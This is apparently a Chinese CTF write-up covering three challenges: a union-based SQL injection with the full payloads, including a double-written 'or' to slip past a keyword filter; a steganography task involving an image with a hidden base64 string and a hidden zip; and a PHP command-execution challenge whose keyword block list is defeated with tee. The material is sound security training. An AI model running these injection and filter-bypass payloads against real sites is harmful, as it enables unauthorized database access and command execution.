1.由提示可得,用户名为admin,使用爆破,得到密码为admin1232.在1后面加上'检查是否存在sql注入漏洞,发现页面报错,存在漏洞3.输入?id=-1') union select 1,2,3--+,判断显错位,发现显错位是34.输入?id=-1') union select 1,2,database()--+,爆库名5.输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xitif_sql'--+爆表名
6.发现报错,观察发现过滤了or,采用双写or进行绕过
7.输入?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+来爆列名
8.输入?id=-1') union select 1,2,group_concat(flAg) from flag--+来爆数据,得到flag
师姐的旅游照片
1.发现本题文件没有后缀,猜测为隐写题,将下载下来的png改名为1.png,打开,并放入010editer中,发现末尾有一串base64编码2.解码之后得到一半的flag3.将后缀改为zip打开发现另外一张图4.发现图片不完整,将它放入010editer中,改图片的高度,010editer中都是16进制,所以需要将图片中的高度改为16进制,查找到高度的16进制之后,进行修改,保存之后,得到另外一半的flagRceeee
1.打开网页,发现php代码,查找相关函数,可解读为:
先使用get传参,然后strcheck函数检查,最后执行这个参数作为shell命令
strcheck
函数使用preg_match
来检查参数$cmd中是否含有以下过滤的内容:
;
&
\
制表符
(\×09)
ASCLL码(\×26)
tac
cat
more
less
head
sort
tail
sed
cut
awk
string s
od
php
ping
flag
若有这几项过滤的内容则停止脚本的运行,并输出“你的想法很有趣.....”
所以我们最后需要绕过这些过滤的内容
2.使用tee命令,将php代码复制存储在文件里
linux tee命令
tee 命令
用途----显示程序的输出并将其复制到一个文件中。
语法-----tee [ -a ] [ -i ] [ File ... ]
描述-----tee 命令读取标准输入,然后将程序的输出写到标准输出,并同时将其复制到指定的一个或多个文件。
标志
-a 将输出添加到 File 的末尾而不是覆盖写入。
-i 忽略中断。
退出状态
命令返回以下退出值:
0 标准输入被成功地复制到所有输出文件中。
>0 发生错误。
注:如果向任意成功打开的File操作数的写入不成功,写入其它成功打开的File操作数,并且标准输出会继续,但是退出值将会是>0。
3.访问这个文件,发现flag4.根据代码内容,绕过 cat flag ,然后再将它复制到文件里5.打开这个文件,得到flag
sql注入的知识点:
shell_exec()函数:
PHP shell_exec() vs exec()用法及代码示例 - 纯净天空
strcheck
函数:strcheck
函数接受一个正则表达式模式和一个字符串作为参数,使用 preg_match
来检查字符串是否与模式匹配。如果匹配成功,preg_match
返回 1,否则返回 0。函数根据这个结果返回 true
或 false
。
RCE:
RCE绕过: